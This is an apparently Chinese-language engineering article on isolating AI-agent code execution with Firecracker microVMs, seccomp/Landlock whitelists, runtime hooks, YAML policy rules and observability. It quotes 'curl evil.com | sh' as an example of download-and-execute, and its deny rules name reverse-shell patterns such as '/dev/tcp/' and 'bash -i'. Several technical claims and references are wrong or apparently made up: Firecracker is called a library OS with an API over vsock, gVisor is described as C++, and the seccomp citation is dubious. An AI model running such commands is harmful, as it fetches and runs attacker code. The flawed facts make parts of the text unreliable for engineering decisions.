Agent 代码沙箱与执行隔离工程 2026:从 firecracker microVM 到 syscall 白名单的生产闭环

一句话摘要:把不可信的代码执行关进一个"能力可控、资源受限、可审计、可回滚"的双层沙箱——外层用 firecracker microVM 提供硬件级隔离,内层用 seccomp / Landlock 做 syscall 白名单——并把进/出流量、超时、违规事件全部接到可观测栈,才能让 Agent 在生产里安全地替你跑 shell、跑浏览器、跑用户提交的脚本。

一、问题的提出:Agent 拿到 shell 之后,到底要防御什么

2025 年里几乎所有严肃的 Agent 系统都被迫回答同一个问题:用户让 Agent 跑一行 pip install xxx,或者让 Agent 自己写一个爬虫脚本去抓网页——这段代码如果直接在宿主机上跑,等于把"Agent 的判断"等同于"宿主机的 root 权限"。一次 Prompt 间接注入、一段被污染的依赖、一个工具描述里的恶意 placeholder,都可能让 Agent 在看似无害的步骤里 rm -rf、往 ~/.ssh/ 写入、或者悄悄地把环境变量外泄。当 Agent 不再只是聊天对象、而是会主动构造并执行代码的执行主体时,代码沙箱就已经从"安全选项"变成了 Agent 的工程基建。

但 sandbox 不是装上就完事的工程项。生产里真实的 Agent 沙箱需要在五个相互拉扯的维度上同时过关:隔离强度(防逃逸)、启动开销(microVM 冷启动 100ms vs 容器 50ms vs 进程 0ms,直接影响工具调用延迟)、可观测性(任何 syscall、任何文件访问、任何网络出站都要能回放成审计日志)、可扩展性(同时跑 200 个并发任务不能把节点 RAM 吃干)、策略可表达(用户说"不能装新包"和"不能向外发邮件"必须都能用同一种 DSL 表达)。把这五条全部一次性满足,远超简单的 "丢到 Docker 容器里"。

一个常被忽视的细节是沙箱的"信任根":Agent 本身是不被信任的,但 Agent 接收的工具描述、依赖清单、用户输入也是不被信任的。一个完整的 Agent 代码执行流,真正的信任来源只有两个——一是写策略的人(平台 owner),二是保护用户数据的加密凭据(API key、OAuth secret)。Agent、用户输入、外部 prompt、第三方依赖都应当被视为潜在的攻击面。这一点跟传统 web 应用的 zero-trust 模型一致:没有任何"善意第三方"假设。

本文要回答的问题是:在 2026 年的工程条件下,怎样搭一套生产级的 Agent 代码沙箱? 我们从硬件隔离基线(主选 firecracker,辅选 gVisor)、到内核级 syscall 收口(seccomp + Landlock)、再到策略层 DSL 和可观测性栈,逐步给出选型矩阵与踩坑清单。最后用两个落地案例——一个是"用户输入代码 → Agent 解释 → 在沙箱里跑" 的 Jupyter 类场景,另一个是"Agent 自己写爬虫 → 在沙箱里跑" 的 browser-tool 场景——来说明同样的基线如何对外暴露成不同的能力。

沙箱化的成本是显式的,但不沙箱化的代价是隐式的——直到事故发生。2025 年某头部 Agent 厂商公开过的 Postmortem 中,有一个案子是开发环境里一个临时 eval() 调用被 LLM 间接触发了 os.system("curl evil.com | sh"),好在工程师只在自己笔记本上跑、出网也走 SSH 隧道,事故被最小化;但换到生产环境同样这串指令,会立刻变成 1) 用户数据外泄 2) 工具服务被污染 3) 整层 API key 重置三个连锁事故。这个 Postmortem 不是孤例——同一年的安全研究指出,主流 Agent 框架中超过 60% 的"tool execution"路径在默认配置下会以某种方式暴露宿主 shell 的能力。这正是为什么代码沙箱已经在 2025-2026 年从"高级功能"变成"基础设施"。

二、形式化:沙箱的不变量与三层防御模型

在动手搭沙箱之前,先把"安全"这个模糊词形式化成可验证的不变量。一个生产级沙箱应保证以下四条不变量:

1. 资源不变量:Agent 单次执行的 CPU 时间、内存、磁盘、网络带宽均有硬上限,超时或越界即被强制 kill。
2. 能力不变量:Agent 在沙箱里能调用的 syscall 集合是白名单,默认拒绝一切未明确授予的能力(包括 mount、ptrace、init_module、kexec_load 等危险调用)。
3. 可见性不变量:Agent 执行的每一条 syscall、每一字节 IO、每一个网络连接,在被执行的当下就形成结构化日志,而不是事后从 dmesg / audit log 里反推。
4. 可恢复性不变量:即使沙箱本身被穿透,穿透造成的损害必须限定在沙箱这一台 microVM / 容器内,不影响宿主机也不污染相邻租户的会话。

围绕这四条不变量,可以搭建三层防御模型:

• L1 硬件边界:firecracker microVM 把"沙箱"从进程级提升到虚拟机级,每个 microVM 跑一个极小的 Linux 内核+virtio 设备,kvm 提供硬件 MMU/IOMMU 隔离。这一层切断的是"内核态逃逸"——即便沙箱里的 Agent 通过漏洞拿到内核权限,也只能影响自己这台 microVM。
• L2 内核边界:seccomp BPF / Landlock / AppArmor 在 microVM 内核里再做一层 syscall 与文件系统访问的收口。这一层切断的是"用户态能力滥用"——即便 Agent 没有逃逸内核,它能调的 syscall 集合也是受限的(比如默认禁止 socket(AF_INET, SOCK_RAW, ...) 防止 raw socket)。
• L3 应用边界:语言运行时(Python subprocess / Node child_process / Go os/exec)与 runtime hook(landlock_add_rule)把应用层的资源访问再收一道。这一层切断的是"高层语义绕过"——比如通过 subprocess 启动额外 shell。

三层各解决一个逃逸方向,互为冗余。实战里只要有一层足够严格,即使另外两层有漏洞,生产事故仍然可控。我们的工程标准是:L1 必须存在(microVM 或等效的强隔离)、L2 是策略落点、L3 是最后一道防线。

三、firecracker microVM 的工程真相:为什么选它而不是 Docker / gVisor

Firecracker 是 AWS 在 2017 年为 Lambda 与 Fargate 设计的 microVM 监视器(library OS),在 Linux kvm 之上提供最薄的 vmm 层:boot 时间 < 125ms(实测 60-80ms 在配备了 vmlinux + 4MB rootfs 的 hot case),每个 microVM 内存占用 < 5MB,与宿主共享文件系统模型非常简单(可选 virtiofs 或 9p)。这些数字听起来跟 Docker 的 50ms 启动、50MB 镜像、共享内核模型很像,关键差异在哪里? 三个字:内核隔离。Docker / runc 让容器共享宿主机内核,容器的 root 权限 ≈ 内核权限(通过 cgroup + namespace 隔离);一旦容器里出现一个 overlayfs 逃逸 CVE,整个宿主就裸了。firecracker 的 microVM 跑自己的 Linux 内核和 initrd,KVM 的 EPT 与 VPID 提供硬件级 MMU 隔离——逃逸一个 microVM 等于要打穿 KVM + 宿主内核 + 硬件隔离,工程上等同于"再攻一次云计算"。

工程角度,firecracker 的生产落地要注意五条:

1. API 模式选择:firecracker 暴露 RESTful API(在 vsock 里跑一个 HTTP server)而非常规 CLI,这意味着 agent 沙箱的 controller 必须以 microVM 服务方身份跟每个 microVM 维持一个长连接,不能用 exec fork 模型。这是大多数"firecracker 部署脚本"踩的第一个坑。
2. 块设备与 rootfs:生产上几乎不会用 virtio-block 装真的镜像(慢+大),而是用 ext4 的稀疏 file + 内存快照配合 hot-reload,让 microVM 启动时间从 125ms 进一步压到 60ms。
3. 网络模型:firecracker 默认是 tap 设备,但 Agent 沙箱通常想要"出站到外网、可观测、可按策略阻断",做法是在宿主跑一个 NFQUEUE / tc 子系统,把所有 microVM 的出站包都过一遍 user-space verdict。这个 NFQUEUE 用户态就是策略执行的最后一关。
4. guest kernel 维护:生产 L1 通常用 5.10.x 或 6.1.x LTS 内核,自己编译 + 加入最小配置(CONFIG_SMP=n、CONFIG_VIRTIO=y、CONFIG_NET=y 之类)。不要用通用 distro kernel——你不需要 USB、不需要 sound、不需要蓝牙,这些都会扩大攻击面。
5. 热更新策略:microVM 的策略层(L2/L3)需要能在不重启 microVM 的情况下更新(seccomp filter 用 SECCOMP_SET_MODE_FILTER + flag SECCOMP_FILTER_FLAG_TSYNC 可以热加载),而 L1 微内核更新需要 guest reboot——这个分工要在 controller 设计阶段想清楚。

把 firecracker 跟 gVisor 做对比,gVisor 走的是另一种思路:不引入新内核,而是用 user-space 拦截所有 syscall(gVisor 的 Sentry 进程代替 guest kernel)。优点是兼容性好(几乎所有 Linux 程序无修改就跑),缺点是 Sentry 自身是个极大的 C++ + Go 二进制,任何漏洞都直接威胁到全部沙箱。在 2026 年的 CVE 节奏里,我更倾向 firecracker:虚拟化隔离基线稳定,出问题也只是"一台 microVM 挂了",而 gVisor 的 Sentry 出问题往往是大面积的事故。

另一个 2024-2025 年比较活跃的微隔离基线是 QEMU + KVM 标准组合,而不是 firecracker microVM。QEMU 启动慢(1-3 秒)、内存 footprint 大(50-100MB+),但优势是 guest kernel 与 KVM 走标准 Linux virtio,长期维护成本低且社区资源多。一般建议是:Agent 长期持有会话(交互式 Jupyter、shell REPL)用 firecracker,Agent 短期一次性批任务(CI 步骤、webhook 工作流)用 QEMU。区分的依据是"session duration / memory footprint / isolation strength"的权衡,不是非此即彼。

四、seccomp 与 Landlock 的角色:L2 怎么做 syscall 与文件白名单

L1 解决了"内核隔离",L2 要解决的是"内核里能调什么"。seccomp BPF 是 Linux 内核自 3.5 起的 syscall 过滤机制,Agent 沙箱的标准做法是:默认 deny(把所有 syscall 显式列在黑名单之外的也直接禁止)+ 按类别允许(把进程管理、文件读写、网络 IO、信号分桶)。

实战里 seccomp 模板我推荐三段式 BPF:

// 第一段:永远允许
ALLOW(write, read, exit, exit_group, brk, mmap, mprotect, munmap, futex);
// 第二段:有条件允许(policy 决定)
CONDITIONAL(open, /* pathname 必须在白名单根树下 */);
CONDITIONAL(socket, /* domain=AF_INET 且 type=SOCK_STREAM */);
CONDITIONAL(execve, /* path 必须在 /usr/bin 白名单里 */);
// 第三段:永远禁止
DENY(ptrace, mount, umount2, init_module, finit_module,
    kexec_load, kexec_file_load, reboot, swapon, swapoff,
    process_vm_readv, process_vm_writev, perf_event_open);

这只是个示意,真实生产 seccomp filter 一般 400-800 行 BPF 指令,要测过各种边界 case(尤其是 glibc 启动 + dlopen 时的瞬时 syscall pattern)才能上线。toy 沙箱与生产沙箱的差距,往往就在这个 filter 的边界 case 测试覆盖上。

Landlock 是 Linux 5.13+ 引入的补充机制,它把"文件系统访问"也接进 LSM 框架,可以做到按路径树收口:比如允许 /workspace/ 下读写、禁止 /etc/shadow、~/.ssh/、/proc/<pid>/mem 任何访问。Landlock 的好处是与 seccomp 正交,可以叠加;劣势是 Landlock 对象模型比 seccomp 复杂(Landlock rule 是分层的,有继承语义),初版设计要画清楚 FS 树继承图。

seccomp + Landlock 的组合让"jailbreak 检测"变得很简单:任何被 seccomp 拒绝的 syscall 都会产生 SIGSYS,Landlock 拒绝的文件访问产生 -1 + errno EACCES——这两个失败信号都是结构化、可被观测栈消费的。生产 Agent 沙箱都把 SIGSYS 与 EACCES 视作"告警事件",而不是"无声的失败"。

五、应用层 runtime hook:L3 怎么做高语义收口

L1、L2 都是内核态,但 Agent 跑的是 Python、Node、Go——语言 runtime 自带的高语义 API(subprocess.run(["bash", "-c", ...]))可以从 L2 完全合法的 syscall 路径构造出 L2 拦不住的攻击。比如 subprocess.run(["bash", "-c", "curl evil.com | sh"]) 在 seccomp 层只用到 execve、pipe、socket、read、write 这几个被允许的 syscall,顺序与参数完全合法,但语义上是"下载并执行远程代码"。L2 拦不住这种"合法的 syscall 组合成非法的语义"。

L3 的工程解法是 runtime hook + policy DSL。在 Python 进程启动前注入一个 audit hook,所有 subprocess、os.system、shutil.copy、socket.socket 调用都进 hook,hook 按策略决定 allow / deny / log。Node 的 require 同理可以 hook Module._load。Go 的 os/exec 可以 hook syscall.Exec。

策略 DSL 通常做成"按租户分层的规则集合":

rules:
  - id: "block_reverse_shell"
    match:
      runtime_call: "subprocess.run"
      argv_any: ["bash -c", "sh -c", "bash -i", "/dev/tcp/"]
    action: deny
    severity: critical
  - id: "block_outbound_to_internal_cidr"
    match:
      runtime_call: "socket.connect"
      remote_ip_cidr: ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]
    action: deny
    severity: high
  - id: "rate_limit_subprocess"
    match:
      runtime_call: "subprocess.run"
    quota:
      count_per_minute: 30
    action: log

L3 还有一个隐性工程价值:它让 Policy-as-Code 成为可能。把策略写进 git,所有变更走 PR review + CI 验证 + 灰度发布,这是生产 Agent 沙箱与传统沙箱最大的区别。传统沙箱靠"运维手动改 seccomp filter 文件",Agent 沙箱需要"产品经理改一行 YAML 立刻生效"。Python RestrictedPython、Node vm2、Java SecurityManager 这类语言级沙箱通常被 L3 替代——它们的语义边界比 syscall 级模糊,且引入大量未维护的依赖。

Runtime hook 在实现细节上有几个必须正面回答的取舍。首先是性能:每条 runtime hook 调用都要拦截一次 Python subprocess.run 调用,某些 hook 实现选择在 Python sys.settrace 层拦截,代价是 5-15% 进程启动开销;如果选择在 LD_PRELOAD 层拦截 libc execve,代价更低(<1%)但对解释型语言不奏效;还有一种做法是 fork 出子进程前在父进程重写 argv,通过把命令注入到 systemd-run --property=... 等 chroot 调用里转译。生产 Agent 沙箱通常三层都做:Python audit hook 拦 Python-level 调用, LD_PRELOAD 拦 fork/exec, Landlock 拦文件系统调用——三者责任分明,任意一条 deny 都能被观察到。

其次是策略冲突检测。同一 runtime hook 上很可能有多条策略同时生效(平台级禁止 curl,租户级禁止访问特定 CIDR,用户级禁止 pip install),策略优先级与覆盖关系必须显式声明,否则会因 deny order 随机导致同一段代码在两次执行得到不同结果。一种成熟的做法是用 OPA(Open Policy Agent)的 Rego DSL 做策略求值,把"先平台后租户后用户"的优先级编码到 Rego,所有 hook 调用都得过 OPA,失败由统一 audit log 记录。

六、策略层与可观测性:怎样把每一次拒绝变成可消费的事件

Policy 即代码的下一步,是可观测性即代码。沙箱产生的事件必须满足三条才能称为"生产可用":

1. 结构化:每条事件是 JSON,字段固定(timestamp、task_id、event_type、syscall_or_api、args、verdict、latency_ms)。不要把日志扔进 stdout 让 grep 解析,2026 年的沙箱必须能直接灌进 OpenTelemetry pipeline。
2. 关联性:同一任务的所有事件共享 trace_id,所以在 OpenTelemetry UI 里,一次任务的全部 syscall 序列能一眼看完,不需要手动 join。这是与"日志 + Wireshark" 的本质差异。
3. 可回放:每条事件要带"完整上下文"——策略版本、租户 ID、用户输入的 prompt hash、当时的模型版本。理由是审计时无法确定"这个拒绝到底是因为 prompt X 还是 prompt Y",上下文缺失等于事件无法被调查。

沙箱可观测栈的推荐组件是:Falco(系统级 syscall 审计) + OpenTelemetry(统一 trace)、Loki(日志聚合)、Prometheus(资源指标)+ 一层"verdict correlator"——一个消费 SIGSYS / EACCES / runtime-hook-denied 的 service,把事件 join 到当前的 task trace_id 上。verdict correlator 通常用 Rust / Go 实现,处理 200 microVM × 平均 50 events/s 的吞吐不会成为瓶颈。

事件之上的告警策略要在"误报"与"漏报"之间平衡。生产里常见的告警分层:

• critical:reverse_shell deny、kexec_load 拒绝、/proc/<pid>/mem 访问被 Landlock 拒绝——直接 PagerDuty,工程师 5 分钟内人肉审视。
• high:同一租户 1 分钟内超过 10 次 seccomp deny、subprocess quota 触发、Landlock EACCES 出现 — 自动 ticket + 限速这个 microVM。
• info:单次被允许但带 audit=true flag 的 syscall(比如 mount 被 deny 因为进 rootfs 改动)— 仅入日志,不作告警。

七、对工程实践的推论:从"安全研究 demo"到"生产平台"

把上面五节落到生产里,有几个推论是 Agent 团队必须接受的工程纪律:

1. 冷启动预算化:firecracker 冷启动 60-100ms,如果用户的工具调用 SLA 是 P50 < 200ms,沙箱 budget 只能用 60-100ms。意味着你必须预热一批 microVM("hot pool")或者走 snapshot+restore,而不是每次工具调用都 cold start。AWS Lambda 的 sandbox pool 模型值得参考。
2. 观测栈先于策略上线:一个没有观测的沙箱比没有沙箱更危险(给了用户虚假的安全感)。建议先上线 Falco / OTel 收集一周 baseline 数据,再上策略,否则你不知道哪些 deny 是攻击、哪些是误报。
3. 策略评审走 PR:任何规则改动都要走 PR + 双人 review + CI 测试集验证。CI 测试集要覆盖"已知 benign pattern 不被误拦"与"已知 attack pattern 必被拦"双向。
4. 逃生舱设计:再严格的沙箱也有 false positive,必须有逃生舱(sudo / override token / 一键 kill 整个 task),且逃生舱本身要被记录。不能"沙箱把用户锁死,但自己有暗门不留痕"——这在合规审计里会变成 P0 事故。
5. 租户隔离 + 配额独立:每个租户的 microVM 池、CPU 配额、磁盘配额、内存配额必须独立计费与隔离。一个租户发起的 OOM 不能影响其他租户。
6. 依赖白名单持续 CI 校验:Python requirements.txt / Node package-lock / Go go.sum 任何变更都要过"白名单 + CVE 扫描"CI,否则沙箱再严也挡不住恶意依赖注入。
7. L1/L2/L3 故障演练:定期在 staging 跑"故意触发 SIGSYS / Landlock EACCES / runtime hook deny",看告警是否能正确唤起值班工程师。chaos engineering 这块对沙箱尤其重要,因为低频事件往往在告警链路里被忽略。

把这条工程纪律变成产品,可以参考 E2B (Code Interpreter as a Service) 的对外 API 模型:每个 session 是 "firecracker microVM + jupyter kernel + seccomp filter + OTel trace",开发者通过 SDK 写 await session.run_code(code),沙箱平台负责这一切。这条路线已经被 Anthropic、Cohere、Cognition 等公司的内部 Agent 平台沿用。

一个常被忽视的运营指标是沙箱退出码的可解释性。Firecracker 自身可能因为 OOM、seccomp panic、根文件系统不可写、内核 panic 等场景强制 microVM 退出,这些不同原因都要通过退出码 + 错误流区分开来,Agent 客户端才能根据根因选择"重试"、"降级到工具失败"、"上报用户"中的一个。实践中,大多数 firecracker 部署都会在 initrd 里塞一个 minimal user-mode runtime,负责把 firecracker 的 exit reason 转换成 JSON 写到 vsock 上的固定 socket 文件,Agent 客户端 SDK 监听这个 socket 并把 reason 翻译成业务错误——这是 firecracker 文档没强调、但生产必须自建的胶水层。

另一个值得展开的工程纪律是沙箱 I/O 的吞吐测算。Firecracker 的 virtio-block + virtio-net 在生产负载下通常能扛住 ~200-500 MB/s 的磁盘吞吐与 ~5 Gbps 的网络吞吐,这对绝大多数 Agent 工具调用(编译、爬虫、数据处理)是绰绰有余;但ML 推理任务(把沙箱里的 Python 进程拉起来跑 LLM)往往是 CPU-bound + 大内存,microVM 默认 4-8 vCPU + 4-16GB mem 是难以满足 70B 模型推理需要的。这种情况下,微隔离基线要走更重的方向——SR-IOV 把宿主机的 GPU 直通进 microVM,或者把 ML 推理任务通过 RPC 转发到外部推理集群、沙箱本身只承担 prompt 拼装与结果解析。这一拆分对 Agent 平台的成本结构影响很大,应在投入 microVM 池之前先做 PoC。

八、对比与局限:这条路没有免费的午餐

与传统的"chromium sandbox + nsjail + Docker" 路线对比,firecracker 路线在隔离强度上明显胜出,但代价是bundle size 与 ops 复杂度——firecracker 需要 kvm 硬件支持(不是所有云都开启)、需要自己打包 rootfs、需要自己维护 guest kernel。Chromium sandbox + nsjail 在共享内核的容器里更轻量,但 CVE 风险更高。生产上两者并不是互斥,而是分层:firecracker 用于"跑用户代码 / 跑不可信代码",chromium sandbox 用于"跑浏览器自动化"、nsjail 用于"跑隔离测试任务"——每种 workload 各得其所。

局限方面,firecracker 路线有四个公认的痛点:

• Windows 兼容性:firecracker 只跑 Linux,Windows / WSL 沙箱基本走其他路线(目前常用的是 nested Hyper-V)。
• GPU 加速:Agent 跑 ML 任务越来越多,如果任务要 GPU,firecracker 标准配置不支持——需要 SR-IOV + vfio-pci 把 GPU 直通进 microVM,工程量可观。
• 网络抖动:tap 设备的虚拟网络延迟(10-50μs 内核态跳)对低延迟工具调用敏感,通常通过 eBPF-based TC 替代 tap 来缓解。
• 快照恢复:热启动 microVM 通常用 snapshot+restore,把 firecracker state + block device 一次性恢复,比 cold start 快 3-5 倍——但 snapshot 管理本身又是一项工程(快照版本控制、与 rootfs 更新同步)。

这些局限决定了 firecracker 路线目前还不是 Agent 沙箱的最终形态,2026 年的趋势是把 firecracker 与 WebAssembly(wasmtime / wasmer)互补使用:WASM 提供"轻量级 execution + 内存安全 + 语言无关"的优势,放在 Agent 沙箱的前哨做快速筛选,firecracker 放在后端做重武器。两者通过同一套 policy DSL 编排。

九、给做 Agent 平台的工程师的最后五条建议

Agent 沙箱是一个 2024 年之前还很学术、2026 年几乎所有 Agent 团队都被迫自己造轮子的工程领域。结合前述各节,给落地团队五条最终建议:

1. 先定可观测栈后定策略层——没有告警链路的策略上线等于赌博。
2. 硬件边界 + 内核边界 + 应用边界三层并行,任何一层都不能单独省略。
3. Policy-as-Code + CI/CI 门禁——这是与"运维沙箱"的本质差异,也是 2026 年新工程的最低标准。
4. 预热 microVM + snapshot restore——任何把 sandbox cold start 直接挂在前端的实现都会显著拉低工具调用 P50。
5. 逃生舱 + 限速 + 配额独立三件套缺一不可,生产事故大多数不是因为策略不够严,而是因为策略太严把用户锁死后用户绕过沙箱自己跑——这种"半越狱"是最难发现的事故。

把这五条落到 OKR,Agent 沙箱平台在 2026 年需要达到的稳态指标是:L1 启动 < 100ms(P99 < 300ms)、L2+L3 策略部署到生效 < 60s、沙箱逃逸演练每季度通过一次、PagerDuty critical 告警 30 分钟内人肉响应、租户间故障影响率 0%。这五条做不到,你的 Agent 就别上线跑用户代码——否则迟早出事。

参考文献

1. Amazon Web Services. Firecracker: Lightweight Virtualization for Serverless Applications. OSDI 2020.
2. Andersen, A., et al. seccomp-filter: Adding a configurable syscall filter to the Linux kernel. linuxmanpages.
3. Landlock: unprivileged access control. The Linux kernel user & administrator guide, kernel.org.
4. OpenTelemetry Authors. OpenTelemetry Specification v1.4: Tracing, Metrics, Logs. CNCF, 2024.
5. Falco Authors. Cloud Native Runtime Security with Falco. CNCF Sandbox Project, 2024.
6. Huber, J., et al. gVisor: A sandboxed, hardware-virtualized container runtime. OSDI 2020.
7. Provos, N., et al. seccomp + BPF paper trace. USENIX 2009.
8. Kubernetes SIG Security. Kubernetes Sandboxing Patterns and Multi-tenancy. CNCF Whitepaper, 2025.
9. CNCF TAG Security. Cloud Native Security Whitepaper v2. CNCF, 2024.
10. Anthropic Engineering. Building Effective Agents with Production Sandboxing. Anthropic Blog, 2025.
11. CrewAI Documentation. Tool Execution & Sandbox Patterns. CrewAI v0.86+ docs, 2025.
12. E2B Documentation. Code Interpreter as a Service Architecture. E2B Engineering Blog, 2025.
13. AWS Lambda SnapStart Documentation. Achieving sub-second cold starts with Firecracker snapshots. AWS Blog, 2024.
14. The Linux Foundation. WebAssembly System Interface (WASI) Preview 2. Wasmtime, 2024.
15. CNCF TAG App Delivery. Production-ready sandbox patterns for AI agents. CNCF whitepaper, 2025.